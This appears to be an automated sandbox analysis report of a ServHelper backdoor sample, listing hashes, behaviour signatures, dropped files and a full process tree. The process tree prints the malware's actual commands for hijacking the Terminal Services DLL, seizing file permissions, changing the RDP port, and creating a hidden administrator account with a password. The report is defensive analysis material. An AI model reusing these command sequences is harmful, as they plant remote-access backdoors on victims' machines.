Analysis

  • max time kernel
    90s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-01-2023 17:40

General

  • Target

    0d88cfa2c2d6f7bd237f0cfab2e075f2b3ee328b15c3980ca48f31c77f8f7204.exe

  • Size

    4.6MB

  • MD5

    fa68435c8733319fdc648b1ae7e76ff6

  • SHA1

    afabe1cb32cc64d5c9d1dc3f8330da7cf1a3e2f0

  • SHA256

    0d88cfa2c2d6f7bd237f0cfab2e075f2b3ee328b15c3980ca48f31c77f8f7204

  • SHA512

    4b70d76ab9f9a48f719b4400ffab0ac9914e5e788d7513a9d06ba0593c9b3a7d16f3489ef121c2202a20be6238b76ea839ac5d19becabff196c2cbd6a8655ea1

  • SSDEEP

    49152:n6S5QUskvRLmhAG5JyCE/Wi5MgmHG0G5vKuPIR+vFtP0/VjeYJ1E+kRU1:j5QUskvRCJW+

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0d88cfa2c2d6f7bd237f0cfab2e075f2b3ee328b15c3980ca48f31c77f8f7204.exe
    "C:\Users\Admin\AppData\Local\Temp\0d88cfa2c2d6f7bd237f0cfab2e075f2b3ee328b15c3980ca48f31c77f8f7204.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4axfv0gm\4axfv0gm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC9C.tmp" "c:\Users\Admin\AppData\Local\Temp\4axfv0gm\CSCCF4DF15752FF4A7EBDAAAE5F6B21F023.TMP"
          4⤵
            PID:3044
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wjqxfzwq\wjqxfzwq.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4852
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD084.tmp" "c:\Users\Admin\AppData\Local\Temp\wjqxfzwq\CSC5881FE59B6EB4CAE979803D4A2FFD8.TMP"
            4⤵
              PID:1812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3832
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:376
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1452
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:4432
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:3708
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:744
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2404
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1672
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:4140
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2220
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:3864
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            3⤵
              PID:3672
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              3⤵
                PID:3480
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                3⤵
                • Sets DLL path for service in the registry
                • Modifies registry key
                PID:2768
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2388
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:1080
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4580
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2272
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2560
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:3728
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3448
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4968
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1844
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          6⤵
                            PID:4064
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      3⤵
                        PID:1736
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        3⤵
                          PID:1108
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /C timeout -n t& del C:\Users\Admin\AppData\Local\Temp\0d88cfa2c2d6f7bd237f0cfab2e075f2b3ee328b15c3980ca48f31c77f8f7204.exe
                        2⤵
                          PID:3712
                          • C:\Windows\system32\timeout.exe
                            timeout -n t
                            3⤵
                            • Delays execution with timeout.exe
                            PID:3708
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user WgaUtilAcc 000000 /del
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3472
                        • C:\Windows\system32\net.exe
                          net.exe user WgaUtilAcc 000000 /del
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2664
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                            3⤵
                              PID:3588
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc nOt48M8r /add
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4504
                          • C:\Windows\system32\net.exe
                            net.exe user WgaUtilAcc nOt48M8r /add
                            2⤵
                              PID:3924
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc nOt48M8r /add
                                3⤵
                                  PID:936
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              1⤵
                                PID:2836
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                  2⤵
                                    PID:2964
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                      3⤵
                                        PID:3324
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" IYMUGYHL$ /ADD
                                    1⤵
                                      PID:5000
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" IYMUGYHL$ /ADD
                                        2⤵
                                          PID:4376
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" IYMUGYHL$ /ADD
                                            3⤵
                                              PID:4940
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                          1⤵
                                            PID:528
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                              2⤵
                                                PID:1944
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:2788
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe user WgaUtilAcc nOt48M8r
                                                1⤵
                                                  PID:1164
                                                  • C:\Windows\system32\net.exe
                                                    net.exe user WgaUtilAcc nOt48M8r
                                                    2⤵
                                                      PID:2684
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user WgaUtilAcc nOt48M8r
                                                        3⤵
                                                          PID:4584

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\Users\Admin\AppData\Local\Temp\4axfv0gm\4axfv0gm.dll

                                                      Filesize

                                                      3KB

                                                      MD5

                                                      ba42c59de5704b16289b8257cc394c9e

                                                      SHA1

                                                      95d30d69602c7b11867dc9bd10392941b6ce7ffe

                                                      SHA256

                                                      9d1c8c4e0774dcd759a6d023b8d48f598093f8a474622a70936fc8ef65229ea7

                                                      SHA512

                                                      305c188e26e24bbbf398b615068a1ac6bac81c05632bbdacb13ac7e35b4548dd397df5e7007cc4d97f26b08fcedc73ad2121768885a3ef583fb3117251615f14

                                                    • C:\Users\Admin\AppData\Local\Temp\Get-Content.PS1

                                                      Filesize

                                                      2.5MB

                                                      MD5

                                                      4bc9596203778a6f540caaf6aff470e4

                                                      SHA1

                                                      5618a6cc7b81117cf26a3c06a565c9dcf5cdcec4

                                                      SHA256

                                                      59f0a3f43333e6e57e4e61f8465a023bcccdc46a3fd66cd817649d65dd2234c5

                                                      SHA512

                                                      08766d19403d72dc7565b2ee0a89db910625adc108b0fbdd2eb54c39ba8fd451a07399c47d591f9ddc7a29be765d4b6831555b33a60419630a8bcaba8ce4f16b

                                                    • C:\Users\Admin\AppData\Local\Temp\RESCC9C.tmp

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      673f00df831c76a16c6119ad50cbd70d

                                                      SHA1

                                                      b53d2513b9fbcd4f587aca91db0fcffabfeae66b

                                                      SHA256

                                                      3bdfb6f3fd2ecc5494543d330fa853afcdb2dacb1d7595e9d1c35573db2f39f2

                                                      SHA512

                                                      35e5f5ce6b2fd8ebb3a3c8ce5838d94b3cc374d800493a828f9a632bd31c79c57d01473fe6b0b1032d7f7cdd3d30dd7063111868636f0a68bca7bb04e58fc8b2

                                                    • C:\Users\Admin\AppData\Local\Temp\RESD084.tmp

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      6e0b1cfd198ef83300f647bd1096d364

                                                      SHA1

                                                      71164aecc406df45485fd84d062563ec8da2af7d

                                                      SHA256

                                                      c46ebfb1022ced11773c50523c5877031f4c15489fa4b75c133bd885bbe2fa64

                                                      SHA512

                                                      846269d1ab3eeb3f74d58161af3d0ae35daf7f5d42cd57867908e871fca7c40191c3f4d9c89778daee07d23addd2e6a3e7712f1a1b60e4208b2681a9d19b56f8

                                                    • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                      Filesize

                                                      6KB

                                                      MD5

                                                      37330f50cf392bca59567a22de3b836a

                                                      SHA1

                                                      f7b37328533a133567aa28f03015da69e2e36547

                                                      SHA256

                                                      a34c2923388f87e84a4f67f123626af4eff5e7d7e5abe327b6a1b1aa55a12de1

                                                      SHA512

                                                      5d1c19df182caf82388fd05e30422fa957af30a4092334a53a128e36d6c3ce2cb20aa10d96344cd8b1b145180df4d737b30bbd48a1c809ce25a82912397b19a6

                                                    • C:\Users\Admin\AppData\Local\Temp\wjqxfzwq\wjqxfzwq.dll

                                                      Filesize

                                                      3KB

                                                      MD5

                                                      e4eaeed2cea5ddaca1db1be3d8199197

                                                      SHA1

                                                      5cb2ab8cece6ce537ef2e2a669acfc94330cbeb6

                                                      SHA256

                                                      916b333055e8765152ab15c665c272625b654081e4a7170aeb282ea6fa64765b

                                                      SHA512

                                                      19a5f5543f07c93c25ac83daf6c99408235c97d04d24b852058e4d0009e16e8debfb75ba00377789bd815a7bcc88b48b9d2bace7b2d130957f48b2cc3c424ecf

                                                    • C:\Windows\Branding\mediasrv.png

                                                      Filesize

                                                      60KB

                                                      MD5

                                                      8059ed8b880685fd245db5d788716126

                                                      SHA1

                                                      5a250c1fd4becd82dee5400b0ec25e44ff24df44

                                                      SHA256

                                                      90f748ecd6c0874413436cffb4d4915aee8a5fdb171d46b6e77c1bd87f1cd391

                                                      SHA512

                                                      ca811954750211da10c33d22495a31caa0c1ad84f44b6e997edf11778c890db260d16f6cf484cec984d18ad614060aeeee1d23bde77489822c6a29881a92b704

                                                    • C:\Windows\Branding\mediasvc.png

                                                      Filesize

                                                      755KB

                                                      MD5

                                                      682adca0a470a7a72b254a68cbadb648

                                                      SHA1

                                                      e504ee7ce663c2348a35af62b73ec6772e2c9868

                                                      SHA256

                                                      2f48fd01b562f1a5f360871436dc937d2cd8a5d1da5b0061ab1821569d59cdad

                                                      SHA512

                                                      831c8f2e6fdecf1df55e5d3a031b93b2a4f52c8badb28d7c92c8ff320f8855e3a48e33c84fb2ecac906ce909e58a2c131f906489843c8a69ba8c201a09e9a94a

                                                    • C:\Windows\system32\rfxvmt.dll

                                                      Filesize

                                                      40KB

                                                      MD5

                                                      dc39d23e4c0e681fad7a3e1342a2843c

                                                      SHA1

                                                      58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                      SHA256

                                                      6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                      SHA512

                                                      5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\4axfv0gm\4axfv0gm.0.cs

                                                      Filesize

                                                      506B

                                                      MD5

                                                      fdff1f264c5f5570a5393659b154cb88

                                                      SHA1

                                                      de254de5e517074a9986b36fec83f921aa9aa497

                                                      SHA256

                                                      ff936e8436684fa709bed64fea9021468fd0c744a4e3412b3ef86e642d6c3769

                                                      SHA512

                                                      db434d37d6e5acb096c26abe7f07744a1a1379179f013810df3f95e41e2b7f55dfe7dc65d053a3d0c6401bc13c7dd99e940073fbe741237966620761c3b9e35a

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\4axfv0gm\4axfv0gm.cmdline

                                                      Filesize

                                                      369B

                                                      MD5

                                                      320d472d9fabfec159d860c64831f43a

                                                      SHA1

                                                      bfa6056d8afb42c1ab8fc1b4a28ab50adbfc048d

                                                      SHA256

                                                      afcac105d71cc609013a65df11b2c40ec8d2b8678f1f00e25f05e6bcdfad94e9

                                                      SHA512

                                                      4affe48d268f875aefc3d289b88a25496ba5bc98a1d2cf6f4b9f3675cbbad8023c3e74ba6b633e00f0fe08288c85f26a8ca95d6fffe5d474b5d6d11eac8df235

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\4axfv0gm\CSCCF4DF15752FF4A7EBDAAAE5F6B21F023.TMP

                                                      Filesize

                                                      652B

                                                      MD5

                                                      5cda43d8dfa12ca7d381bfaadc977f2d

                                                      SHA1

                                                      5caae781c118c3b7a11455e5f7313a60160bb837

                                                      SHA256

                                                      4976ea90897f9c22917c4512b6f8f7f9f3ee185e94aad0fc8b629afb22acebec

                                                      SHA512

                                                      74a67fd1c32d2e934b0e71590c868afa0356e06aa3809f93a43be2488bd093a61007d5ededcfe3a3ba3ed75809cfc42fa328897e5d3f9b9d02006972a5a2ef4c

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\wjqxfzwq\CSC5881FE59B6EB4CAE979803D4A2FFD8.TMP

                                                      Filesize

                                                      652B

                                                      MD5

                                                      084dfe1eeb218eeed63c502cca888ee7

                                                      SHA1

                                                      a68f687a78ffb76da2cf0815b67d988605451653

                                                      SHA256

                                                      55ea10ac0bca42d1d2b2cfb830a671bd2048122c93cf7d005e392c228aff2b18

                                                      SHA512

                                                      e6f13d860eab4f08cad02bde588292c52ef430c159f0f25014c59043f7e475d688f7ffbf55269f6b7796e4a9cb4d9af47780442101fcdfa62b9ec32d03d273f0

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\wjqxfzwq\wjqxfzwq.0.cs

                                                      Filesize

                                                      506B

                                                      MD5

                                                      fe552aa471e3747e57ddeff23d6da1fc

                                                      SHA1

                                                      16832293206ec339d47940533443f4fb375826fa

                                                      SHA256

                                                      60122a8ad7d370fa8dd0ca1b65f1b7685128c526195ac2ffb4edab103d45208d

                                                      SHA512

                                                      8cc715d2ad259d557b818e86b9fab2f91186ca4b1cde477218c0943313ec587d87499288598a2c64969fe2ee6eaf2132c269869f6a7201cf82100620d3ce34e6

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\wjqxfzwq\wjqxfzwq.cmdline

                                                      Filesize

                                                      369B

                                                      MD5

                                                      cab5af66feaaa80b3e69fcf6d11fc035

                                                      SHA1

                                                      e73ca9dbda0b1735e2baab4e13a53586ca994fa4

                                                      SHA256

                                                      f88ba5d9a8f1dabd74bf0d65869c1695c6cf53846fb0afe399bf9006eb19179b

                                                      SHA512

                                                      c50687a6d48d29b445b1ac753a42eeed49c1f473a175ed10bd8d0c16ac8d3ec5c988e6100c2f9960c329be7850eb05c1460b2d1c5e8fffd062c43dcf1487d859

                                                    • memory/376-161-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/376-159-0x0000000000000000-mapping.dmp

                                                    • memory/376-163-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/744-170-0x0000000000000000-mapping.dmp

                                                    • memory/936-194-0x0000000000000000-mapping.dmp

                                                    • memory/1080-180-0x0000000000000000-mapping.dmp

                                                    • memory/1108-204-0x0000000000000000-mapping.dmp

                                                    • memory/1452-162-0x0000000000000000-mapping.dmp

                                                    • memory/1452-164-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/1672-172-0x0000000000000000-mapping.dmp

                                                    • memory/1736-203-0x0000000000000000-mapping.dmp

                                                    • memory/1812-151-0x0000000000000000-mapping.dmp

                                                    • memory/1844-187-0x0000000000000000-mapping.dmp

                                                    • memory/1944-199-0x0000000000000000-mapping.dmp

                                                    • memory/2220-174-0x0000000000000000-mapping.dmp

                                                    • memory/2272-182-0x0000000000000000-mapping.dmp

                                                    • memory/2388-179-0x0000000000000000-mapping.dmp

                                                    • memory/2404-171-0x0000000000000000-mapping.dmp

                                                    • memory/2408-138-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/2408-156-0x0000022D20BC0000-0x0000022D20DCA000-memory.dmp

                                                      Filesize

                                                      2.0MB

                                                    • memory/2408-166-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/2408-205-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/2408-136-0x0000000000000000-mapping.dmp

                                                    • memory/2408-137-0x0000022D07320000-0x0000022D07342000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/2408-155-0x0000022D20830000-0x0000022D209A6000-memory.dmp

                                                      Filesize

                                                      1.5MB

                                                    • memory/2560-183-0x0000000000000000-mapping.dmp

                                                    • memory/2664-191-0x0000000000000000-mapping.dmp

                                                    • memory/2684-201-0x0000000000000000-mapping.dmp

                                                    • memory/2768-177-0x0000000000000000-mapping.dmp

                                                    • memory/2788-200-0x0000000000000000-mapping.dmp

                                                    • memory/2964-195-0x0000000000000000-mapping.dmp

                                                    • memory/3044-143-0x0000000000000000-mapping.dmp

                                                    • memory/3324-196-0x0000000000000000-mapping.dmp

                                                    • memory/3448-185-0x0000000000000000-mapping.dmp

                                                    • memory/3480-178-0x0000000000000000-mapping.dmp

                                                    • memory/3588-192-0x0000000000000000-mapping.dmp

                                                    • memory/3672-176-0x0000000000000000-mapping.dmp

                                                    • memory/3708-169-0x0000000000000000-mapping.dmp

                                                    • memory/3708-208-0x0000000000000000-mapping.dmp

                                                    • memory/3712-206-0x0000000000000000-mapping.dmp

                                                    • memory/3728-184-0x0000000000000000-mapping.dmp

                                                    • memory/3832-157-0x0000000000000000-mapping.dmp

                                                    • memory/3832-158-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/3832-160-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/3864-175-0x0000000000000000-mapping.dmp

                                                    • memory/3924-193-0x0000000000000000-mapping.dmp

                                                    • memory/4064-188-0x0000000000000000-mapping.dmp

                                                    • memory/4140-173-0x0000000000000000-mapping.dmp

                                                    • memory/4376-197-0x0000000000000000-mapping.dmp

                                                    • memory/4432-167-0x0000000000000000-mapping.dmp

                                                    • memory/4580-181-0x0000000000000000-mapping.dmp

                                                    • memory/4584-202-0x0000000000000000-mapping.dmp

                                                    • memory/4812-140-0x0000000000000000-mapping.dmp

                                                    • memory/4852-148-0x0000000000000000-mapping.dmp

                                                    • memory/4940-198-0x0000000000000000-mapping.dmp

                                                    • memory/4964-135-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/4964-207-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/4964-165-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                                      Filesize

                                                      10.8MB

                                                    • memory/4968-186-0x0000000000000000-mapping.dmp